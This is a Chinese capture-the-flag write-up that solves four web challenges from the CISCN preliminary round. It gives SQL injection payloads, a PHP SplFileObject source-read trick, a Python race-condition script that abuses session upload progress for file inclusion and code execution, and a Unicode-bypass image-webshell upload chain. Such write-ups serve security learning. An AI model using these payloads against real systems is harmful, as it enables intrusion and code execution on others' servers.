ciscn国赛初赛web(4道低分题)

文章目录

      • easy_sql
      • easy_source
      • middle_source
      • upload

easy_sql

经过简单尝试发现为单引号括号闭合,并且可用使用报错注入注出库名

uname=1')||extractvalue('abc',concat('~',database()))%23&passwd=1

ciscn国赛初赛web(4道低分题)_第1张图片

接着尝试利用information_schema库注表名,但是发现information被过滤掉了
ciscn国赛初赛web(4道低分题)_第2张图片

那么可用无列名注入
获取到第一个列名id
uname=1') ||updatexml("~",concat("~",(select * from (select * from flag as a join flag b)c)),"~")%23&passwd=1
ciscn国赛初赛web(4道低分题)_第3张图片

获取后续列名。
ciscn国赛初赛web(4道低分题)_第4张图片

得到flag

uname=1')||updatexml(1,((select `e4f94828-d693-4ea1-8759-051b98824ce3` from flag limit 0,1)),1)%23&passwd=1

ciscn国赛初赛web(4道低分题)_第5张图片

easy_source

扫描后台目录得到index.php.swp
得到源码如下


class User
{
     
    private static $c = 0;

    function a()
    {
     
        return ++self::$c;
    }

    function b()
    {
     
        return ++self::$c;
    }

    function c()
    {
     
        return ++self::$c;
    }

    function d()
    {
     
        return ++self::$c;
    }

    function e()
    {
     
        return ++self::$c;
    }

    function f()
    {
     
        return ++self::$c;
    }

    function g()
    {
     
        return ++self::$c;
    }

    function h()
    {
     
        return ++self::$c;
    }

    function i()
    {
     
        return ++self::$c;
    }

    function j()
    {
     
        return ++self::$c;
    }

    function k()
    {
     
        return ++self::$c;
    }

    function l()
    {
     
        return ++self::$c;
    }

    function m()
    {
     
        return ++self::$c;
    }

    function n()
    {
     
        return ++self::$c;
    }

    function o()
    {
     
        return ++self::$c;
    }

    function p()
    {
     
        return ++self::$c;
    }

    function q()
    {
     
        return ++self::$c;
    }

    function r()
    {
     
        return ++self::$c;
    }

    function s()
    {
     
        return ++self::$c;
    }

    function t()
    {
     
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

根据提示猜测flag就在当前页面的代码中。
尝试用php原生类,并且构造方法的参数是两个的

DirectoryIterator

FilesystemIterator

GlobIterator 

SplFileObject 

从上面的和文件操作有关的类中发现SplFileObject 类符合。
ciscn国赛初赛web(4道低分题)_第6张图片
从php官网寻找相关读文件的的方法,发现fpassthru可用,最终payload
?rc=SplFileObject&ra=index.php&rb=r&rd=fpassthru
右键查看网页源代码得到flag

middle_source

扫描后台发现.listing文件
在这里插入图片描述
访问you_can_seeeeeeee_me.php得到phpinfo信息

ciscn国赛初赛web(4道低分题)_第7张图片

ciscn国赛初赛web(4道低分题)_第8张图片
发现可以利用session.upload_progress进行文件包含,并且session位置可知。

import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://123.60.222.134:24086/"
url2='http://123.60.222.134:24086/'
data1={
     
	'PHP_SESSION_UPLOAD_PROGRESS':''
}
data2={
     
	'1':'var_dump(file_get_contents("/etc/fddeafiaah/fdcccedhae/hgefcbbiab/dhceefeafc/ejhcjafeac/fl444444g"));echo "zzx";',
	'cf':'../../../../../../var/lib/php/sessions/dafbijggda/sess_'+sess
}
file={
     
	'file':'abc'
}
cookies={
     
	'PHPSESSID': sess
}
def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.post(url2,data=data2)
		if 'zzx' in r.text:
			print(r.text)

threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

ciscn国赛初赛web(4道低分题)_第9张图片
ciscn国赛初赛web(4道低分题)_第10张图片

upload

扫描后台得到example.php
首先可以用下面内容绕过getimagesize

#define width 1
#define height 1

根据example.php中的代码要求,我们应该需要上传一个zip后缀的文件才可以利用
在这里插入图片描述
但是前面把i字符给过滤了。
但是我们发现在生成文件名时用了mb_strtolower()函数。
在这里插入图片描述
可以利用一些unicode字符绕过。经过测试发现


var_dump(mb_strtolower('İ')==='i');
?>

输出结果为true。
并且前面还进行了url解密。所以可以用%c4%b0代替i字符。
为了可以绕过图片检查可以用如下脚本实现
https://github.com/huntergregal/PNG-IDAT-Payload-Generator/
修改脚本的payload部分
具体步骤如下
https://gchq.github.io/CyberChef/
ciscn国赛初赛web(4道低分题)_第11张图片

将得到的数据在010内修改
ciscn国赛初赛web(4道低分题)_第12张图片
修改后内容如下
在这里插入图片描述
复制出16进制
ciscn国赛初赛web(4道低分题)_第13张图片

修改payload下面的两处内容
在这里插入图片描述

生成图片马
ciscn国赛初赛web(4道低分题)_第14张图片

修改图片后缀为php然后压缩成zip
ciscn国赛初赛web(4道低分题)_第15张图片
上传文件并抓包,修改文件名并添加长度绕过的字符串。
ciscn国赛初赛web(4道低分题)_第16张图片
解压文件
ciscn国赛初赛web(4道低分题)_第17张图片
在example目录下得到解压的文件
ciscn国赛初赛web(4道低分题)_第18张图片
执行代码
ciscn国赛初赛web(4道低分题)_第19张图片

你可能感兴趣的:(ciscn国赛初赛web(4道低分题))